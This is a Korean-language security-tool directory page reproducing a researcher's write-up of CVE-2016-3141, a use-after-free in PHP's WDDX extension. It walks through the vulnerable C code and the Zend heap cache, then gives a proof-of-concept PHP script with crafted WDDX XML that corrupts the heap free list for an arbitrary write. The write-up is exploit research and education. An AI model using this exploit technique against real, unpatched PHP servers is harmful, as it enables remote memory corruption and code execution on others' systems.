Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/peternguyen93/cve-2016-3141
Memory ForensicsVulnerability AnalysisCode AnalysisExploitationLearning & EducationBinary Exploitation
GitHubpeternguyen93/cve-2016-3141

CVE-2016-3141

CVE-2016-3141

저장소 보기
154210년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2016-3141

1. 취약점 상세

PHP 5.5.33 이전 및 5.6.x 버전 중 5.6.19 이전의 WDDX 확장 모듈에 있는 wddx.c의 Use-after-free 취약점으로, 원격 공격자가 조작된 var 요소를 포함한 XML 데이터에 대해 wddx_deserialize 호출을 트리거하여 서비스 거부(메모리 손상 및 애플리케이션 충돌)를 일으키거나 다른 미지정 영향을 미칠 수 있습니다.

2. 버그 개요

이는 WDDX가 XML 데이터를 처리할 때 발생하는 User After Free 버그입니다. 함수 php_wddx_deserialize_ex의 다음 코드를 살펴보십시오. wddx_deserialize($xml)가 일부 XML 데이터를 처리하면 php가 이 함수를 호출하고 XML 태그 및 데이터를 처리하기 위한 몇 가지 함수를 설정합니다.

root@kitploit:~
	XML_SetUserData(parser, &stack);
	XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
	XML_SetCharacterDataHandler(parser, php_wddx_process_data);

함수 php_wddx_push_element는 다음 스니펫에서 볼 수 있듯이 태그에 대한 항목을 생성합니다. 예를 들어 <string>Hello World</string>를 입력하면 여는 태그 에 도달하면 php_wddx_push_element가 호출되어 태그 정보를 저장하는 st_entry 항목을 생성합니다. 아래 스니펫 코드를 살펴보십시오.

root@kitploit:~
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
	st_entry ent;
	wddx_stack *stack = (wddx_stack *)user_data;
	
	----SNIP----
	else if (!strcmp(name, EL_STRING)) {
		ent.type = ST_STRING;
		SET_STACK_VARNAME;
	
		ALLOC_ZVAL(ent.data);
		INIT_PZVAL(ent.data);
		Z_TYPE_P(ent.data) = IS_STRING;
		Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
		Z_STRLEN_P(ent.data) = 0;
		wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
	} 
	----SNIP----
}

SET_STACK_VARNAME는 아래 정의된 프로시저입니다. 이 프로시저는 단순히 태그의 stack->varname을 확인하여 NULL이 아니면 stack->varname을 복제한 후 해제합니다.

root@kitploit:~
#define SET_STACK_VARNAME							\
		if (stack->varname) {						\
			ent.varname = estrdup(stack->varname);	\
			efree(stack->varname);					\
			stack->varname = NULL;					\
		} else										\
			ent.varname = NULL;						\

버그는 php_wddx_pop_element에서 발생합니다. XML이 var 태그의 닫는 태그를 만나면 이 태그의 varname을 해제하지만, 해제된 포인터가 여전히 stack->varname에 저장됩니다. 예를 들어 <var name='UAF'></var>와 같은 var를 생성하면 php_wddx_push_element가 이 var 태그를 저장하는 구조체를 만든 후, 이 태그를 닫을 때 해제하지만 stack->name = NULL로 설정하거나 stack->top을 감소시키는 것을 잊어버립니다. 이후 <string>과 같은 다른 태그를 생성하면 함수 SET_STACK_VARNAME이 이 해제된 포인터를 재사용합니다.

root@kitploit:~
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
	# ***SNIP***
	} else if (!strcmp(name, EL_VAR) && stack->varname) {
		efree(stack->varname);
	}
	# ***SNIP***
}

3. 익스플로잇

처음 이 버그를 보았을 때, "이 버그를 코드 실행으로 전환할 수 없을까?"라고 생각했습니다. 먼저 zend 힙이 어떻게 구현되는지 이해해야 합니다. 아래 zend_alloc.c의 함수 _zend_mm_alloc_int를 살펴보겠습니다.

root@kitploit:~
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
		size_t index = ZEND_MM_BUCKET_INDEX(true_size);
		size_t bitmap;
		if (UNEXPECTED(true_size < size)) {
			goto out_of_memory;
		}
#if ZEND_MM_CACHE
		if (EXPECTED(heap->cache[index] != NULL)) {
			/* Get block from cache */
#if ZEND_MM_CACHE_STAT
			heap->cache_stat[index].count--;
			heap->cache_stat[index].hit++;
#endif
			best_fit = heap->cache[index];
			heap->cache[index] = best_fit->prev_free_block;
			heap->cached -= true_size;
			ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
			ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
			HANDLE_UNBLOCK_INTERRUPTIONS();
			return ZEND_MM_DATA_OF(best_fit);
 		}

할당할 청크 크기가 작은 경우(256바이트 미만) zend_alloc은 heap->cache를 사용합니다. 이는 많은 작은 해제된 청크 연결 리스트를 저장하는 해제된 청크 목록으로, malloc의 fast_bin과 유사합니다. 만약 어떻게든 best_fit->prev_free_block 포인터를 원하는 주소로 덮어쓸 수 있다면, 다시 zend_alloc을 호출할 때 그 주소를 사용하여 메모리의 어딘가에 쓸 수 있습니다.

이를 위해 다음과 같은 wddx xml을 생성하겠습니다.

root@kitploit:~
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
	<array>
		<binary>HERE</binary> # (1)
		<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
		<binary>REPLACE</binary> # (3)
		<var name='SUCK'></var> # (4)
		<boolean value='a'/>
		<boolean value='true'/>
	</array>
</wddxPacket>
EOF;

$binary_value = base64_encode(str_repeat("A",32));

$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);

$wddx = wddx_deserialize($xml); 

foreach($wddx as $k => $v){
	$k = "".str_repeat("C",6); (5)
	
	$t = (string)$v; (6)
	$g = (string)$v; (7)
}
  1. binary 태그를 사용하여 32바이트(chunk_a)를 생성합니다. binary 태그는 인쇄 불가능한 문자를 입력할 수 있게 해줍니다.
  2. 첫 번째 binary 태그와 동일한 크기의 이름을 만들고 이 이름 값을 해제되도록 합니다(chunk_b).
  3. 64바이트로 패딩 청크를 생성합니다(chunk_c).
  4. 8바이트 이름을 만들고 해제합니다(chunk_d).
  5. 이 $xml을 역직렬화한 후, 이 객체를 foreach로 순회합니다. 첫 번째 루프에서 $k는 해제된 chunk_b를 가리키고, $v는 chunk_a를 가리킵니다. concat_function 연산자를 사용하여 best_fit->prev_free_block을 원하는 데이터로 덮어씁니다.
  6. php 문자열 캐스팅을 사용합니다. 이는 estrncpy를 호출하여 새 청크(chunk_e)를 생성하고 chunk_b를 가리키도록 하여 heap->cache[index]가 원하는 값을 저장하도록 만듭니다.
  7. 다시 estrncpy($v,32)를 수행합니다 ($v=$binary_value). 첫 번째 zend_alloc이 다시 호출되고 $r12 = 0x4343434343으로 크래시가 발생합니다. 이 값을 다른 주소로 바꾸면 estrncpy가 memcpy(r12,v,size)를 호출하게 되어 원하는 위치를 덮어쓸 수 있습니다.

Crash

전체 익스플로잇은 여기 peter_code_execute.php에서 볼 수 있습니다 (Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14에서 테스트됨).

마지막으로, 이 버그를 코드 실행으로 성공적으로 전환했습니다. Result

4. 참고 자료

http://www.cvedetails.com/cve/CVE-2016-3141/.

https://bugs.php.net/bug.php?id=71587.

도구 다운로드